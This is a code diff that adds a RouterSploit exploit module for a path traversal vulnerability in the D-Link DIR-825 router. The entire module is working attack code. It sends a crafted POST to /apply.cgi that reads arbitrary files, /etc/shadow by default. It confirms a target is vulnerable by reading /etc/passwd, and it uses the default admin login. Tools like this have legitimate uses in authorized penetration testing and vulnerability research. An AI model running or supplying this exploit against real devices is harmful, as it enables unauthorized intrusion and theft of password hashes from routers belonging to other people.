D-Link DIR-825 Path Traversal exploit

routersploit/modules/exploits/dlink/dir_825_path_traversal.py

+from routersploit import (
+    exploits,
+    print_success,
+    print_error,
+    print_status,
+    print_info,
+    http_request,
+    mute,
+    validators,
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation for D-Link DIR-825 path traversal vulnerability.
+    If the target is vulnerable it allows to read files from the device."
+    """
+    __info__ = {
+        'name': 'D-Link DIR-825 Path Traversal',
+        'description': 'Module exploits D-Link DIR-825 path traversal vulnerability, which allows reading files from the device',
+        'authors': [
+            'Samuel Huntley',  # vulnerability discovery
+            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
+        ],
+        'references': [
+            'https://www.exploit-db.com/exploits/38718/',
+        ],
+        'devices': [
+            'D-Link DIR-825',
+        ]
+    }
+
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)  # target address
+    port = exploits.Option(80, 'Target port')  # default port
+    filename = exploits.Option('/etc/shadow', 'File to read')  # file to read
+    username = exploits.Option('admin', 'Username to log in with')  # username - default: admin
+    password = exploits.Option('', 'Password to log in with')  # password - default: blank
+
+    def run(self):
+        if self.check():
+            print_success("Target seems to be vulnerable")
+            file_path = "..{}".format(self.filename)
+
+            url = "{}:{}/apply.cgi".format(self.target, self.port)
+            data = {"html_response_page": file_path,
+                    "action": "do_graph_auth",
+                    "login_name": "test",
+                    "login_pass": "test1",
+                    "&login_n": "test2",
+                    "log_pass": "test3",
+                    "graph_code": "63778",
+                    "session_id": "test5",
+                    "test": "test"}
+
+            print_status("Sending request payload using credentials: {} / {}".format(self.username, self.password))
+            response = http_request(method="POST", url=url, data=data, auth=(self.username, self.password))
+            if response is None:
+                return
+
+            if response.status_code == 200:
+                print_status("File: {}".format(self.filename))
+                print_info(response.text)
+            else:
+                print_error("Exploit failed - could not read response")
+        else:
+            print_error("Exploit failed - target seems to be not vulnerable")
+
+    @mute
+    def check(self):
+        url = "{}:{}/apply.cgi".format(self.target, self.port)
+        data = {"html_response_page": "/etc/passwd",
+                "action": "do_graph_auth",
+                "login_name": "test",
+                "login_pass": "test1",
+                "&login_n": "test2",
+                "log_pass": "test3",
+                "graph_code": "63778",
+                "session_id": "test5",
+                "test": "test"}
+
+        response = http_request(method="POST", url=url, data=data, auth=(self.username, self.password))
+        if response is None:
+            return False  # target is not vulnerable
+
+        if "root:" in response.text:
+            return True  # target vulnerable
+
+        return False  # target not vulnerable